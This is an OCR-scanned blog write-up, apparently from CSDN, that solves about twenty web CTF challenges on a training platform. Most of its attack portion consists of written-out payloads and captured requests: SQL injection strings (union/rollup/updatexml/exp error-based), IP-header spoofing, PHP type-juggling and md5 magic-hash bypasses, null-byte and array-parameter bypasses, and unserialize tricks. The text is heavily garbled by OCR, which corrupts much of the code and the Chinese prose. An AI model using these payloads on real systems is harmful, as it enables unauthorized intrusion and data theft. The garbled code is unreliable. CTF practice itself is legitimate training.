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hint :

usermame:'="'

password:'='
username password
hell02w 69bc7cf459bcff03625939193ec7 1e0e
wOd3rkun dbb9111e4ed03e2d4021c3c3b0ac8749
mutOr3nl 86846490336911c0f3c6e07cc197d22¢c

2.who are you?

BHHB: youripis. o o o

fic &/ H who are you

BRSO WU 0] 35 iiptk, $UER BhttpSk B/ AH M IS8, F3hilm b T 1T 24K
X-Forwarded-For

Client-IP

x-remote-IP

x-originating-IP

x-remote-addr

R IX-Forwarded-Fora] BARiIh :


https://blog.csdn.net/qq_35544379
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_35544379/article/details/78208505

Request

l/Raw rParams rHeaders rHex |

Response

l’Raw rHeaders |’Hex |

GET /web/wonderkun/index.php HTTR/1.1

Hast: ctfS.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOWE4,; nv.55.0) Gecko/20100101 Firefox/55.0
Accept text/html applicationfxhtmi+xml,applicationsml;q=0.9 ** q=0.8

Accept-Language: zh-CN zh;g=0.8 en-US;q=0.5en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/fwww.shiyanbar.com/ctf/1941

X-Forwarded-For: 123.456.?8.9|

Cookie: sample-hash=571580b26c65f30637604f64e53chacT; source=0;
Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507547747,1507599587,1507707080,1507
T21648;
Hm_cv_34d6f7353ab0915adc582e4516dffbc3=1"visitor*101195%2CnickName % 3Acsu_porlo
cl; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1507721929;
PHPSESSID=ktgiq3s750jvfTg6InpsnBuLrt

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

HTTR/1.1 200 OK

Date: Wed, 11 Oct 2017 11:42:56 GMT

Server: Apache/2.4.18 (Win32) OpensSsL/1.0.2e PHR/S.2.17
A-Powered-By: PHP/S.2.17

Content-Length: 24

Cannection: close

Cantent-Type: text/html

your ip is :123.456.78.9
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<?php
erver_reperting{0)

if (tisser(§_POST[ uname’ ]) tizmer(5_POST["pwd' 1)) {
echa '<form action="" method="post™> ." -
echo ' {input name="uname” o= ¥
echo ' Cinput name="pwd”
eche "<input type="submit” |
echo "4/ Torad” . “{br/>":
echo '{!==gource: source.txt==3". {br/»":

furction AttackFilter(§StrEey, §5trValue, SArrReq) {

b Hriniers ZEMERTTERD
if (is_array(§StrValue)) { i

$SrrValue=izmplode (§5zrValue): _—-——l—'. T?&ﬂlﬂ g
;i'.' (preg_match(”/". $ArrReq. “/is", §5trValue)==1) {

print “HHERMREAEZONOES "
exinl)

$filter = "and|select|froa|where|union| join|sleap|benchmark|, [L{]WV)":
foreach (§_POST as Skey=>Svalue) {
AttackFilter (Skey. Svalue. $filter):

::o: :;:::]a?:!_can.-.au CTXRXXRX ", "XXXXXX", "XXXXXX") - HE%EE.‘E%E E HE
die{ Could not comnect: " . mysql_errorild ;E—;u

Sdb=" NNNRNX"
mysql_select_db{fdb. Scom);
$5ql="SELECT * FROM interest Wi
Squery = mysgl_guery(Ssql):
if (=rsql_nos_rows (query) == 1)

unase = ° {§_POST[ unase’]}

Skey = ayal_fetch_srray (Savery) REREHANTBEE
w0 e— L o R —

lelsel

print "RV EETETS";

lelze{

priat TREFRHAEL "

;}'aq]_close (Scoml:



R =A% BN AT 3RS flag
BRI R =AM EOABATARIE SR %S, BkiX B2 T group by rollupi & #$:75
Bhl. EROTEE, FHITMRAAUBTSH, THESNERTT, SR KN TR FHE

BN BAREE BRI P HME M4 R BT H1E, EiBKgroup byiEa) Bk H, FEE A withroollupF4A] i
group by &)k Sz

mysql> select dep,pos,avg(sal) from employee group by dep,pos with rollup;

e Fmmmm-- tommmmmmmm - +

| dep | pos | ave(sal) |

e Fmmm——— Fommmmmmmm o +
8l | e1 | 1586.8008 |
8l | @2 | 1950.8008 |
8l | NULL | 1725.@200 |

I I

I I

I I

| 82 | 81 | 1560.9808 |
| ez |

I I

I I

I I

I

I

@2 | 2458.0868 |
82 | NULL | 2133.3333 |
83 | 81 | 25e0.0008 |
83 | 82 | 2558.0008 |

83 | NULL | 2533.3333 |
NULL | NULL | 2898.e868 |

+---- - +ommm-— e e +

18 rows in set (8.88 sec)

Bl b B AT E 31X Bt mT DL s F group
by with rollupRf# 18 2 & [5] i 1S {5 A ==

Payload’#y:

uname="or 1=1group by pwd with rollup limit 1 offset 0/1/2.. #&pwd=
WBETEHITER, REAERN

uname="or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

& Lload URL | http://ctfS.shiyanbar.com/web/pcat/index.php
B split URL

b Execute

Enable Post data [ | Enable Referrer
Post data uname="or 1=1 group by pwd with rollup limit 1 offset 2 #8pwd=

CTF{with_

4.5 B HIEAN123

B

KRR — S E B S AT T8, thinselect, from, where%
KRB R E T T A AT Sl



hetpyfetiSabipankbarcom/ 423 wel Tid= 1" ursan/™ fuelect/™ flag /* flromy™ Mag wherewhere "2's'z2

[] Enable Post data Enable Refemer
flag
B T AR ?

WEEE

ID: 1" union/#*/select/**/flag /+*/from/+*/flag where z" ="z
name: baloteli

ID: 1" union/#/select/#*/flag /#*/from/+/Tlag where' z" ="z
name: flag{YOu_ n_900d}

g
I T M, selectil) R A MTEREE#AT S

[ hitps//ctfS.shiyanbar.com/web/index_2.php?id=1'/""/and/* /updatexml{1,concat(0xTe, (/= select/™* /group_concat(|" flag| | /== /1" ffrom/™* fweb flag/™ 1/} OxTe/ ==/ 1/ 1" /%23

.[_] Enable Post data | | Enable Referrer
flag
Bl 7 H A% ?

1333

XPATH syntax error: '~ |flag{YOu j00d} |~

=
REBHEARELE T4, REE
KA RS B B R A 45 R

http/fctis.shiyanbar.com/web/index_3.php?id=1" union select exp(~(select * FROM(select flag from web1.flag)a))--+

<4
v

["] Enable Post data [ | Enable Referrer

flag
FREdETHA?
12238

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:VA1bnH3a\ctf\web\index_3.php on line 30
DOUBLE value is out of range in ‘exp(~((select 'flag{YOu_@r. 100d}' from dual)))
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There is no martial art is indefectible, while the fastest speed is the only way for long success.

=>>>>>--——You must do it as fast as you can!--—<<<<<<

¢ == ol B ot ue Rl s -0 B 8 B £
G EES) HTML €SS JS XHR FE E® S Flash WS Efe

i URL =
brvsd ik pri =E FAE ESidl =5 *
200 GET 10.php 4 ctfS.s.. o5 doc..  html 216 =75 21

& 14ERk BEE216FH/216FE | 7R : 71EE | DOMContentls
M Cookie e IERL FERT HERERRI

RMLE: http://ctf5.shiyanbar.com/web/18/10.php

ERAE GET

il 121.194.2.45:80

PEW: @ 200 ok [FATHE]

B HTTR/1.1

ey

BEIEE B

T
Date: Wed, 11 Oct 2017 12:06:08 GMT GFATH
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.2.17 GEATH
X-Powered-By: PHP/5.2.17

FLAG: UDBTVFRUSEITX1QwX0NINESHRVIGT DRHOjBaU3FINGIkMQ==

&7 TG, ZERHflagblposti R, fEAkeyZHiRsZ, HEER

AR B HR R A A B B3R5

B HSurl->3KEsession->FT FFiE >R B B2 Sk-> 3R EUAE Riflag, #4710 T->141& postid 3K 3 & i%&-> 4T EN g

VAR

#coding:utf8

import requests

import base64

URL = "http://ctf5.shiyanbar.com/web/10/10.php"
Session = requests.Session()

response = Session.get(URL)

Head = response.headers

flag = base64.b64decode(Head['flag']).split(:")[1]
print flag

postData = {'key'": flag}

result = Session.post(url=URL, data=postData)
print result.text

6.ik it =
IMa, BHTEESH: source=1, HIMWEILE

Raw Params Headers Hex

Raw | Headers | Hex | HTML | Render |

POST /web/kzhan.php HTTR/M1 .1

Host ctf5.shiyanbar.cam

User-Agent: Mozilla/5.0 (Windows NT 6.3, WOWE4, nv55.0) Gecka/20100101 Firefow55.0

Accept text/html application/xhtmi+xml applicationfanlg=0.9 %~ q=0 8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5 en;g=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Caontent-Length: 43

Cookie: sample-hash=571580b26cA5f306376d4f64e53ch5cT, source=1,
Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507547747, 1507599587 1507707080,150772164
B, Hm_cv_34def7353ab0915adc562e4516dfbe3=1"visitar*101195%2CnickName % 3ACsU_parloclk;
Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1507725083;
PHPSESSID=ktgiq3s 750/ 7g5Inpsnsuuri

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control max-age=0

username=admin" or 1=1 or "1"="1#&passward=

<pres
Sflag = "XXXXOOOOOOOOXXANXNXX";
Ssecret = "XAXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

Susername = $_POST["username"];

$p d=$_POST["password"];

if (!empty($_COOKIE["getmein
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein" md5($secret. urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");

}

"m{

BOMRI, REBoBNcookiesHH B Hgetmein, AEHBEMISIMFEEHLERRT—F, WR—FRIT LAERfag
ZEBMAET . « « SHEKRENHIWP, RIR—NMBMEFHBKELRL, ABFIABESR



AEXEMARAT, EHEWEEEtp://www.freebuf.com/articles/web/69264.htmi

1T HA
X —RH M4, Hfindexphptiifiag, FHEIMWRASH T —B, MREAK, MAMHT

8.Forms
HERTIE R

Content-Type: application/-www-form-urlencoded
Content-Length: 17

Referer: http://ctfs.shiyanbar.com/10/main.php

Coakie: Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=150751838
Hm_Ipwt_34d6f7353ab0915a4c582e4516dffbc3=13507600935; PHP
Connection: close

Upgrade-Insecure-Requests: 1

PIN=&shaowsaource=0

BESH, B

$a = $_POST["PIN"];

if (§a == —19827747736161128312837161661727773716166727272616149001823847) {
echo “Congratulations! The flag is $flag”:

}oelse {
echo "User with provided PIN not found.”;

}

User with provided PIN not found.
PIN:

Enter

WAaffE, tiflag

Congratulations! The flag is ctf{forms_are_easy}
PIN:

Enter

IRKMEHRSA
BERBRI

</form>
{I— Stest=§ GET[ username’]; S$test=md5(§test); if($test="0") —>
</body>
</html s

I F phpd5 2K 24 s iH


http://www.freebuf.com/articles/web/69264.html

AMEERS

ZE5{REE

BEF:admin ZEES:admin

RN ANBIEARNNERFENER 8EREB T ST0 =0,
FaiE U MERREA R,

FAPE: admin
=g admin
BMNEGSH

Juser.php?fame=hjkleffifer

BENZ T

$unserialize_str = $_ POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '7?7" && $data_unserialize['pass']=="7??") { print_r($flaqg); } fARIRIZ

ZphpZiHil : Fet#peR , MIBFRR, EXEEE

& Load URL | http://ctfS.shiyanbar.com/10/web1/index.php
% split URL

¥ Execute

Enable Post data [_| Enable Referrer

Post data username=admin&password=a:2:{s:4:"user";b:1;5:4:"pass":b:1;}

AP EERS

Ze5{FREE

BeF:admin ZEES:admin

MEXARIEANRERFESNER BB HR(B 2T E0N,
AR MER A A5,

BPE: admin

= admin
SMNEH

ctf{dwduwkhduw5465}

10,5 ENT

Wi 3 4, % Blsubmit. php 7T



m[ Raw | Params | Headers | Hex |

Raw | Headers | Hex [ HTML [ Render

GET /10/upload/step2 php?email=youmail@mail com&check=?27?7727 HTTP/1.1
+ || Host ctfS.shiyanbar.com
User-Agent: Moazilla/5.0 {(Windaws NT 6.3; WOW6G4, rnv:55.0) Gecko/20100101 Firefox/55.0
Accept text/html applicationshtmi+xml,application/xml;q=0.9,%";,q=0.8
Accept-Language: zh-CN zh;q=0.8 en-US;q=0.5 en;g=03
Accept-Encoding: gzip, deflate
Referer: http:/fctfS . shivanbar.com/10/upload/step1 .php
Cookie:
Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507518387,1507520959 1507547747 150759958
T, Hm_cv_34d6f7353ab0915adc582e4516difbe3=1"visitor*101195%2CnickMame%3Acsu_porlacl;
Hm_lpvt_34d6f7353ab0915ad4c582e4516dffbc3=1507602029;
PHPSESSID=kkc0i58vkviiBocBebtasgdqhe?
Connection: clase
Upgrade-Insecure-Requests: 1

margin: 10px auto;

width: 100%;
border: none;
height: 2rem;
border-radius: 5px;
}
</style>
</head>
<body>

<form action="submit.php" method="GET">
<hi>$¢[E % i%step2</hi>
email:<input name="emailAddress" type="text" value="youmail@mail.com"
disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="4"">

</farm=
</hody>
</html>
WIS, KRIKK
Request Response
Raw ’/Params ’/Headers ’/Hex | fRaw rHeaders rHex |
GET HUfupIoadfsubmit.php?emaiIAddress=admin@simplexue.com&tokenk??????? HTTF/1 1 el HTTR/ .1 200 Ok

Host; ctfs shiyanbar.cam

User-Agent: Mozilla/s.0 (Windows NT 6.3, WOWGE4, rnv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html applicationshtmi+ml applicationfml;q=0.9 **,q=0.8
Accept-Language: zh-CM zh;q=0.8 en-USs;q=0.5en;q=0.3
Accept-Encoding: gzip, deflate

Referer. http://ctfS.shivanbar.com/1 0/upload/step 1 .php

Coakie:

Date: Tue, 10 Oct 2017 02:23:06
Server: Apache/2.4.18 (Win32) C
#-Powered-By: PHR/S.2.17
Content-Length: 4

Connection: close

Cantent-Type: text/html

Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507518387,1507520958 1507547747 150759958 fail

T, Hm_cv_34d&f7353ab0915ad4c582e4516dffc3=1"visitor101195%2CnickName% 3Acsu_parlack;

Hm_Ipwt_34d6f7353ab0915a4c582e4516dffbc3=1507602029;
PHPSESSID=kkcDis8vkvtlBocBebto8dghe?

Connection: close

Upgrade-Insecure-Requests: 1

REAVIMPRR, BEEMCHRNFE: REFRG




(-- ) ctf5.shiyanbar.com/10/upload/.submit.php.swp ¥ EEE] - c &% | Q EREEs

B s2xpE & smss @ c2F 9 163@s [@ cson O ®BEET © phpMyAdmin @ DVWA @ sqli-labs B pwnZiz @ phpx
INT ¥ = @& SQL- XS5+ Encryption- Encoding= Others

& Load URL

B split URL

¥ Execute

Enable Post data [ | Enable Referrer
Post data

— BIFEDEENE user

INSERT INTO user ( id, " username ,  email’, “toksn } VALUES
(1, R e, R A, 0)
*/

if ('empty (Stoken) &&!empty (SemailAddress)) {
if(strlen($token) !=10) die( fail');
if (§token!="0") die(’ fail’);
$sgl = "SELECT count{*} as num from user where token= $token’ AND email= $emailAddress’ ”:
$r = mysqgl_querv(8sql) or die(’ db error’):
$r = mysgl_fetch_assoc($r);
$r = $r[ num 1;
if ($r>0) {
echo §flag:

telse{
echo "SI T IE"

T2 HE 24 ¥ B tokenB |]

Request Response

Raw r Params r Headers r Hex | l/ Raw r Headers r Hex |
GET /10/upload/submit.php?emaildddress=admin@simplexue com&token=0e54599327 HTTR/1 .1 i HTTR/1.1 200 OK
Host ctfs shivanbar.com Date: Tue, 10 Oct 2017 02:28:19 GMT
User-Agent: Mozilla/s .0 (Windows NT 6.3, WOWE4, n55.0) Gecko/20100101 Firefox/55.0 Server: Apache/2.4 .18 (Win32) OpenssL/1.0.2e PHP/S.
Accept text/ntml applicationf«htmi+xml applicationsml;q=0.9 ** q=0.8 A-Powered-By: PHR/5.2.17
Accept-Language: zh-CN,zh,q=0.8 en-US;q=0.5en;q=0.3 Caontent-Length: 30

Accept-Encoding: gzip, deflate Caonnection: close

Referer: hitp://ctfs shivanbar.com/10/upload/step1 php Caontent-Type: text/hitm|

Cookie

Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507518387 1507520959 1507547747 150759958 flag is SiImCTF{h _ dsWX}

T, Hm_cv_34d6f7353ab0915adc882ed516dffbc3=1"visitor*101195% 2CnickName%3Acsu_porlack;
Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1507602029;
PHPSESSID=kkcOisgvkvtiBoc8ebtoBdgheT

Connection: close

Upgrade-Insecure-Requests: 1

11.onemore



<?php i
if (isset ($_GET[ password 1)) {

if (ereg (" [a—zA-Z0-91+%", $_GET[ password 1) === FALSE)

{

echo ' <p>You password must be alphanumeric</p> ;

}
else if (strlen($_GET[ password 1) < 8 && $_GET[ password ] > 9999999)

{
if (strpos (3_GET[ password ], "#—*") !== FALSE)
{
die("Flag: ' . $flag);

echo(’ <p>*—* have not been found</p> )

else

echo " <p>Invalid password</p> ; "

BRAEMRE: %008 ik 2 8L R AN FfEa-zA-Z0-9, S fE15iZ%H9999999°k

(D  ctf5.shiyanbar.com/web/more.php?password=127%00"-* T ¢ 9 Q mysglfetch assoc

spiE & mERs @ 5507 8 16358 [@ cson O FREEF W phpMyAdmin ) DvwA @) sqli-labs Bl penZiE @ php= [ mds &

Flag: CTF{Ch3ck 13ck}
-
12.Guest Next Session
UAEITAYE I INIUAIG O VY IIUOWE 1L D0, VW05, |V O ) AT LD T UL 1 GIUA U RTTRET
Accept text/html applicationshitml-+aml application/xml;q=0.9 %*q=0.8 <center=<textarea name="viewTheSourseCode" cols="45" rows="15">
Accept-Language: zh-CN zh;q=0.8 2n-US;q=0.5 en;q=0.3
Accept-Encoding: gzip, deflate &ltzphp
Referer: http://ctfs shiyanbar com/web/Session php session_start();
Cookie: sample-hash=571580b25C65T30637604164e53ch5CT, source=0; if (isset ($_GET['passwordT])) {
Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507518387,1507520959 1507547747 150759958 if (_GET['password]==%_SESSION['password])
7 Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1"visitor*101195%2CnickName% 3Acsu_parlack; die ('Flag: "$flag);
Hm_Ipvt_34d6f7353ab0915a4c58284516dithc3=1507602666, else
PHPSESSID=kkcOis8vinvtlBoc8ebtaBdghe 7 print '<p>Wrong guess.</p>"
Connection: close 1

Upgrade-Insecure-Requests: 1
mt_srand{{microtime() * rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));

2&gt;
<ftextarea></center></td></fable>

</center>
</hody>
</html>

WIERIN: FHFE %M, session_start()BR)a A &G, TESiGpasswordl 53232 Fpasswordii %, [F ik
AT e Kisession B E



GET fweb/Session.php?passward= HTTR/M 1 = HTTP/M.1 200 OK
Host ctfs.shiyanbar.com Date: Tue, 10 Oct 2017 02:31:59 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.3, WOWE4, nv:55.0) Gecko/20100101 Firefox/55.0 Server: Apache/2.4 18 (Win32) OpenSsL/A1.0 2e PHR/5.2.17
Accept text/ntml application/shtmi+xml applicationsml;g=0 9 **q=0 8 *-Powered-By: PHP/52 17
Accept-Language: zh-Ch zh;q=0.8,en-US;q=0.5en,q=0.3 Set-Cookie: PHPSESSID=214cd0eclfefes3a3d4514ed057ee0419; path=/
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GMT
Referer: http:/ctf5 shiyanbar.com/web/Session.php Cache-Caontral: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cookie: sample-hash=5715800b26c651306376d4164e53chb5cT; source=0, Pragma: no-cache
Hm_Ivt_34d6f7353ab0915ad4c582e4516dffbc3=1507518387, 1507520959 1507547747 150759958 Caontent-Length: 112
T, Hm_cv_34d617353ab0915adc582e4516dffbc3=1*visitor 101195%2CnickName%3Acsu_parlack; Connection: close
Hm_Ipvt_34d6f7353ab0915a4c582e4516dffoc3=1507602668;, PHFSESSID= Content-Type: text/html
Connection: close
Upgrade-Insecure-Requests: 1 <html>

<head>

<title>Guess Next Session</title>

</head>

<bady=<brf=

<centers

Flag: CTF{CI3ar_tt slon}

13.FALSE

Your password can not be your name!

Login

View the source code

<?php
if (isset($ GET[ name’]) and isset($ GET[ password 1)) /{
if ($ GET[ name’ ] == $_GET[ password ]}
echo " <p>Your password can not be vour name!</p> -

else if (shal($ GET[ name’']) === shal ($_GET[ password 1))
die( Flag: '. $flag);
else
echo " <p>Invalid password. </p> :
)
else{
echo " <p>Login first!</p» ;
i

B R Fsha1H) IR

ctf5.shiyanbar.com/web/false.php?name[l=18&password[]=2 U - [ &% |Q mysql_fetch_assoc
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Flag: CTF{t3s al}
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Cantent-Type: text/html

<html><head><meta charset="utf-8" /></head><body>

Upload: TIM#: 2120171009202635.png<br />Type: image/png<hr />Size: 1.2421875 Kb<br

/>Stored in:

Juploads/8age5fea7ar89ach.php<br>3E B (R Eflag—H: <br=flag{SimcC’
ady>

</html=
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<html>

<head>

welcome to simplexue
</head>

<body>

<?php

if(§ POST[user] && § POST[pass]) {

- g £

$conn = mysgl_connect(” :

“):

mysgl_select_db{"phpformysql”} or die(” Could not select database”):

if (Sconn->connect_error) {

die("Connection failed: " . mysql_error(Sconn)) :

}
Suser = § POST[user] ;
Spass = md5($_P0OST[pass]) ;

$sql = "select pw from php where user= Suser ”;
Squery = mysgl_query ($sql);
if (!Squery) {
printf ("Brror: %s\n”, mysql_error($conn)) ;
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC) ;

//echo Srow[ pw"]:

if ((Srow[pw]) && (!strcasecmp(Spass, Srowlpwl))) |
echo "<p>Logged in! Key:sckmomemcomn: /p>”

}

else {
echo("<p>Log in failure!</p>”);

fay SR, B AL
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Target: http:/fctf5.shiyanbar.com | & | 7

Request

Raw Params Headers Hex

Response

Raw | Headers | Hex | HTML | Render |

POST /web/Sfindex.php HTTP/M 1

Host: ctf5.shiyanbar.com

User-Agent Mozillafs.0 (Windaws NT 6.3, WOWE4, ne55.0) Gecko/20100101 Firefo55.0

Accept text/html application/sxntmi+xml application/ml;q=0.9 **q=0.8

Accept-Language: zh-CN zh;gq=0.8,en-US;q=0.5 en;q=0.3

Accept-Encading: gzip, deflate

Content-Type: applicationf«-www-form-urlencoded

Content-Length: 80

Referer: http:/ctf5 shiyanbar com/web/Sindex.php

Cookie: sample-hash=571580b26c65f306376d4164e53ch5C7; source=0;
Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507518387 1507520959 1507547747 150759958
T, Hm_cv_34d6f7353ab0915ad4c582e4516difbe3=1"visitor*101195%2CnickName%3Acsu_porloclk;
Hm_lpvt_34d6f7353ab0915a4c582e4516dfbe3=1507604160;
PHPSESSID=kkcOisgvintlGoctebtoBdghe?

Connection: close

Upgrade-Insecure-Requests: 1

user=' and 0=1 union select "02545993274517709034 32885564 1020"#&pass=s878926199a

17.what the fuck X 24 RATE

HTTP/1.1 200 OK

Date: Tue, 10 Oct 2017 03:20045 GMT

Server: Apache/2.4.18 (Win32) OpenSsSL/1.0.2e PHP/S.2.17
X-Powered-By: PHP/5.2.17

Content-Length: 282

Connection: close

Content-Type: text/html

<html=

<head»

welcome to simplexue

</head>

<body=>

<p>Logged in! Key: SimCTF{youl ning} </p=<farm method=post action=index.php>
<input type=text name=user value="uscrnamea"=
<input type=password name=pass value="Password">
<input type=submit=

<fforms

</bady>

<a href="index.bd">

</html=




—HTRERVILEH 6 ERNER

18 XA FRRA i B
BRTAEEN S

ActivateCryptoSelector

INT “| = & SQL- XS5- Encryption- Encoding- Other-

@ Lload URL | http//ctfS.shiyanbar.com/8/index.php?id=1 union select 1,group_concat(’

¥ split URL

b Execute

[] Enable Post data [ ] Enable Referrer

|B| content
|T|we|come to this game! enjoy
|T||news|,|thiskey|

—H—HETFHRTT, WM T
195 EA m A

table_name from information_schema.tables where table_schema='my_db’ thiskey

*table_name,’|") from information_schema.tables where table_schema='my_db’

B EiIpH LRI, BEES— A ERAIhttpkA N, R T RIS AT

Request

Raw rParams rHeaders Hex

Response

Raw | Headers [ Hex | HTML | Render |

SET /phpaudit HT TR/ .1

Host: ctf5.shiyanbar.com

Jser-Agent: Mozilla/5.0 (Windows NT 6.3, WOWE4, rnv.55.0) Gecko/20100101 Firefox/55.0
Accept text/html applicationshtml+xml applicationsml;q=0.9.**q=0.8

Accept-Language: zh-CN,zh;g=0.8 en-Us;gq=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/www shiyanbar.com/ctff32

SLIENT-IP: 1.1.1.1

Coakie:
Am_Ivt_34d6f7353ab0915a4c562e4516dffbc3=1507520959,1507547747 1507599587 1507
707080,
dm_cv_34d6f7353ab0915a4c5682e4516difbc3=1"visitor*101195%2CnickMame%3Acsu_porlo
zk, Hm_Ipvt_34d6f7353ab0915a4c582e4516dffbc3=1507708121;
SHPSESSID=vIn5qg83k9p1da&opa71i0vias

Sonnection: close

Jpgrade-Insecure-Requests: 1

Cache-Contral: max-age=0

20.:LF K
%35 8 H B R Mhttpk B AT

<div class="content_title_01">PHP{LH% s it</div>
<div class="horizontal_divider_01">&nbsp;</div>
<div class="cleaner">&nbsp;</div>
<center=>
<p>Great! Key is SimCTF{daima 1gjiy</p= <input
type="button" name="Submit3" value="view the source Luuc
onClick="document all.table style.display=(document.all.table style.display =='none')?":'none"/>
<table width="100%" bhorder="0" cellspacing="0" cellpadding="0
bardercolor="#05DEF2" id=table style="display.nane">
<td=
<br=
<center=<textarea name="textarea" cols="80%" rows="26">

&It2php
function GetlP(){
iflempty($_SERVER["HTTP_CLIENT IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if{lempty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(lempty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];



Request

Raw rParams rHeacIers Hex

Response

Raw | Headers | Hex | HTML | Render |

GET /sHeader/ HTTP/1.1

Host: ctf5 shiyanbar.com

User-Agent MSIE 6.0; NET CLR 9.9

Accept text/html applicationfxhtml+xml application/xml;g=0.9 *f*,q=0.8

Accept-Language: q=0.5 en-gh

Accept-Encading: gzip, deflate

Referer: http:/fwww shiyanbar.com/ctf/29

Cookie:
Hm_Ivt_34d6r7353ab0915a4c582e4516dfbe3=1507520959 1507547747 1507599587 150770708
0, Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1"visitor*101195%2CnickName%3Acsu_ parlock;
Hm_lpvt_34d6f7353ab0915a4c582e4516dMMc3=1507708460;
PHPSESSID=vIn5qg83kap1dacapd7110vias

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Contral: max-age=0

21.Forbidden
R B T M bR AT A T A 2 i3k

Request

(Raw rParams rHeaders Hex

| »

=div id="templatemao_content_wrapper">
<div id="templatemo_content">

<div class="cantent_title_01">Forbidden</div>
<div class="horizantal_divider_01">&nbsp;</div>
<div class="cleaner">&nbsp;</div>

<p>You don't have permission to access / on this server.</p>
<p=<br=<pr=The key is: dder</p= <div
class="cleaner"=&nbsp;</div=
</div>
<div class="cleaner'>&nbsp;</div>
<fdiv=

<div id="templatemo_faoter's
<fdiv>

</divs
</bodv>

Response

l/Raw rHeaders rHex rHTML rRender |

GET /basic/header/ HTTP/1 1

Hast cff5 . shiyanbar.com

User-Agent: Mozilla/3.0 (Windows NT 6.3, WOWE4, rnv.55.0) Gecko/20100101 Firefox/55.0
Accept text/html applicationshtmi+xml applicationsml;g=0.9 % q=0.8

Accept-Language: zh—hklzh;q:O.S,en-US;q:O.s,en;q:O.S

Accept-Encoding: gzip, deflate

Referer: http:/iwww . shiyanbar.com/ctf/21

Coakie:

Hm_lpvt_34d6f7353ab0915a4c582e4516dffoc3=1507709050;
PHPSESSID=vIn5qg83kIp 1dasipd7110v1 a6

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Contral: max-age=0

22 39 E R,
A YL, AR T AIBLATE Blbase64 Rt ARAR Iy L 1

Hm_Ivt_34d6f7353ab0915a4c582e4516dMbc3=1507520959 1507547747,1507599587,150770708
0; Hm_ecv_34d6f7353ab0915a4c582ed516dffac3=1*visitar*101195%2CnickName % 3AcsU_parlocl

| »

HTTP/1.1 200 OK

Date: Wed, 11 Oct 2017 08:07:43 GMT

Server: Apachef2.4.18 (Win32) CpenSsSL/1.0.2e PHR/S.21T
#-Powered-By: PHP/S.2.17

Cantent-Length: 288

Cannection: close

Cantent-Type: text/html

<IDOCTYPE HTML PUBLIC "S/IETF/DTD HTML 2.OFEN">
<html=<head>

<title>403 Forbidden</titl=>

</head=<body>

<h1>Forbidden</h1>

<p>You don't have permission to access /

on this server.</p>

<fbady>

</html>

<br=<pr=KEY:123. arAGent<br=<br>

00 A 55 i ML %R R B, Rl EL IR R base64 N J& i flagBI AT

Host: cifS.shiyvanbar.com

User-Agent: Mozilla/5.0 (Windows NT 6.3, WOWe4; rnv.55.0) Gecko/20100101 Firefox/55.0

Accept: text/html application/xhtmi+xml applicationtml;g=0.9 %% q=08

Accept-Language: zh-CN zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/-www-form-urlencoded

Content-Length: 25

Referer: http://ctt5 shiyanbar com/basic/cateh/

Cookie

Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1507520959,1507547747,1507599587 150770708
0; Hm_cv_34d6f7353ab0915a4c582e4516dffoc3=1*visitor*101195% 2CnickName%3Acsu_porlock;
Hm_Ipvt_34d6f7353ab0915a4c582e4516difbc3=1507709266;
PHPSESSID=vIn5qg83kap1dacapdT1i0vias

Connection: close

Upgrade-Insecure-Requests; 1

pass_key=MTUwNzcwOTISMg==

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /basic/catch/ HTTR/1.1 - HTTP/1.1 200 OK

Date: Wed, 11 Oct 2017 08:15:28 GMT

Server: Apache/2.4.18 (Win32) OpenssLM.0.2e PHR/5.2.17

“-Powered-By: PHP/S.2.17

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Contral: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Row. MTUwhzcwOTISMg==

